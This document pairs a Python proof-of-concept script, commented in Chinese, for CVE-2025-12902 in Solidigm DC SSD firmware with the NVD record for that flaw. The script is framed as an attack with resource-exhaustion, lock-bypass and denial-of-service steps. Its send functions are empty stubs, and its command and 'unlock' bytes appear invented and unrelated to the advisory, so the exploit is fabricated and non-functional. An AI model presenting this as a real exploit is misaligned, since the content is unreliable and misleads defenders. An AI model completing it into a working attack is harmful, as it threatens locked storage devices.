CVE-2025-12902

# CVE-2025-12902 PoC - Solidigm DC固件资源管理漏洞利用示例 # 注意：此PoC仅供安全研究使用，未经授权禁止用于非法目的 import struct import time class SolidigmDCExploit: """Solidigm DC系列固件漏洞利用框架""" def __init__(self, device_path="/dev/sda"): self.device_path = device_path self.exploit_count = 0 def trigger_resource_exhaustion(self): """ 触发资源耗尽攻击 通过反复发送特定命令序列耗尽固件资源 """ print("[*] 正在触发资源耗尽攻击...") # 构造恶意命令序列 malicious_commands = [ 0xE0, 0x00, 0x00, 0x00, # 固件诊断命令 0xE1, 0x00, 0x00, 0x00, # 资源分配测试命令 0xE2, 0x00, 0x00, 0x00, # 状态查询命令 ] max_attempts = 1000 for i in range(max_attempts): try: # 发送恶意命令序列 self._send_firmware_command(malicious_commands) self.exploit_count += 1 if i % 100 == 0: print(f"[*] 已发送 {i} 个恶意命令...") except Exception as e: print(f"[!] 命令发送失败: {e}") print(f"[*] 资源耗尽攻击完成，共发送 {self.exploit_count} 个命令") def bypass_lock_mechanism(self): """ 绕过锁定机制 在资源耗尽后尝试访问受保护区域 """ print("[*] 尝试绕过锁定机制...") # 构造解锁请求 unlock_request = bytes([ 0xAA, 0x55, 0xA5, 0x5A, # 解锁标识 0x00, 0x00, 0x00, 0x00, # 保留字段 0x01, 0x00, 0x00, 0x00, # 解锁命令码 ]) try: response = self._send_firmware_command(unlock_request) if self._verify_unlock_success(response): print("[+] 锁定机制已绕过") return True else: print("[-] 锁定机制绕过失败") return False except Exception as e: print(f"[!] 解锁请求失败: {e}") return False def trigger_dos(self): """ 触发拒绝服务攻击 通过资源耗尽导致设备不可用 """ print("[*] 正在发起拒绝服务攻击...") # 发送大量无效请求耗尽资源 for i in range(5000): self._send_corrupted_request() if i % 500 == 0: print(f"[*] 已发送 {i} 个损坏请求...") print("[+] DoS攻击完成，设备可能已无响应") def _send_firmware_command(self, command): """发送固件命令（模拟实现）""" # 实际实现需要通过设备驱动或固件接口发送命令 pass def _send_corrupted_request(self): """发送损坏的请求包""" corrupted_data = b'\xFF' * 512 # 实际实现需要通过设备接口发送 pass def _verify_unlock_success(self, response): """验证解锁是否成功""" return len(response) > 0 and response[0] == 0x00 def main(): """主函数""" print("=" * 60) print("CVE-2025-12902 PoC - Solidigm DC固件资源管理漏洞") print("=" * 60) exploit = SolidigmDCExploit() # 步骤1: 触发资源耗尽 exploit.trigger_resource_exhaustion() # 步骤2: 尝试绕过锁定 exploit.bypass_lock_mechanism() # 步骤3: 发起DoS攻击（可选） # exploit.trigger_dos() print("[*] 漏洞利用测试完成") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-12902", "sourceIdentifier": "f946a70c-00eb-42ce-8e9b-634d1f7b5a6f", "published": "2025-11-07T21:15:40.927", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper resource management in firmware of some Solidigm DC Products may allow an attacker with local or physical access to gain un-authorized access to a locked Storage Device or create a Denial of Service."}], "metrics": {"cvssMetricV31": [{"source": "f946a70c-00eb-42ce-8e9b-634d1f7b5a6f", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "f946a70c-00eb-42ce-8e9b-634d1f7b5a6f", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-665"}]}], "references": [{"url": "https://www.solidigm.com/support-page/support-security.html", "source": "f946a70c-00eb-42ce-8e9b-634d1f7b5a6f"}]}}